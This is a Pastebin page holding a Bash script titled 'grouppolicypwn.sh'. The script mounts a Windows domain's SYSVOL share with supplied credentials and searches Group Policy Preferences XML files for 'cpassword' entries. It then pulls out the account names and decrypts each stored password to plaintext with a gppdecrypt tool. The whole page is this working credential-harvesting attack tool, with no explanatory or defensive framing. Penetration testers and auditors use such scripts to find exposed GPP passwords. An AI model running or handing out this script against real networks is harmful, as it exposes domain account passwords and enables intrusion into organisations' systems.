Advertisement
leonteale

grouppolicypwn.sh

Jan 12th, 2015
267
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.17 KB | None | 0 0
  1. #!/bin/bash
  2. #colours
  3.     red=`echo -e "\033[31m"`
  4.     lcyan=`echo -e "\033[36m"`
  5.     yellow=`echo -e "\033[33m"`
  6.     green=`echo -e "\033[32m"`
  7.     blue=`echo -e "\033[34m"`
  8.     purple=`echo -e "\033[35m"`
  9.     normal=`echo -e "\033[m"`
  10.  
  11. #variables
  12.     gppdecrypt_path="/root/Desktop/Tools"
  13.  
  14.  
  15. #smb connect
  16.     echo -n "$yellow host:$normal "
  17.     read host
  18.     echo -n "$yellow user:$normal "
  19.     read user
  20.     echo -n "$yellow pass:$normal "
  21.     read pass
  22.     mkdir -p /mnt/$host
  23.     mount -t cifs //$host/sysvol /mnt/$host -o user=$user,password=$pass
  24.     echo ""
  25.  
  26. #find cpass files in mounted directory
  27.     find /mnt/$host -type f -name '*.xml' | xargs grep "cpass" > /tmp/cpass
  28.     echo "$yellow ------------------------------------------"
  29.     echo "$green `cat /tmp/cpass| wc -l` $normal cpass entries found"
  30.     echo "$yellow ------------------------------------------$normal"
  31.     echo ""
  32.  
  33. #while loop and file manipulation
  34. while read line; do
  35.  
  36.             if
  37.                 echo $line|  grep -q ScheduledTasks
  38.             then
  39.                 echo -n "$yellow User:$normal "
  40.                 echo "$line" | grep -Po 'accountName=".*?"'  | cut -d \" -f 2 | cut -d \\ -f 1
  41.                
  42.             elif
  43.                 echo $line|  grep -q Groups
  44.             then
  45.                 echo -n "$yellow User:$normal "
  46.                 echo "$line" | grep -Po 'userName=".*?"'  | cut -d \" -f 2 | cut -d \\ -f 1
  47.             elif
  48.                 echo $line|  grep -q DataSources
  49.             then
  50.                 echo -n "$yellow User:$normal "
  51.                 echo "$line" | grep -Po 'username=".*?"'  | cut -d \" -f 2 | cut -d \\ -f 1
  52.             elif
  53.                 echo $line|  grep -q ScheduledTasks
  54.             then
  55.                 echo -n "$yellow User:$normal "
  56.                 echo "$line" | grep -Po 'accountName=".*?"'  | cut -d \" -f 2 | cut -d \\ -f 1
  57.             fi
  58.  
  59.     echo -n "$yellow Pass:$normal "
  60.     echo -n $line | grep -Po 'cpassword=".*?"'  | cut -d \" -f 2 > /tmp/cpass.cracked
  61.     cat /tmp/cpass.cracked
  62.  
  63.    
  64.     echo -n "$lcyan Plain Text: $normal"
  65.     ruby $gppdecrypt_path/gppdecrypt.rb `cat /tmp/cpass.cracked`
  66.  
  67.  
  68.     # echo -n "$yellow Service:$normal "
  69.     # echo $line | grep -Po 'serviceName=".*?"'  | cut -d \" -f 2
  70.  
  71.     echo -n "$yellow Location:$normal "
  72.     echo $line | cut -d \: -f 1
  73.  
  74.     echo "$yellow ------------------------------------------"
  75.  
  76. done < /tmp/cpass
  77.  
  78. #cleanup
  79.     umount /mnt/$host
  80.     rm -rf /mnt/$host
  81.     #rm /tmp/cpass
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement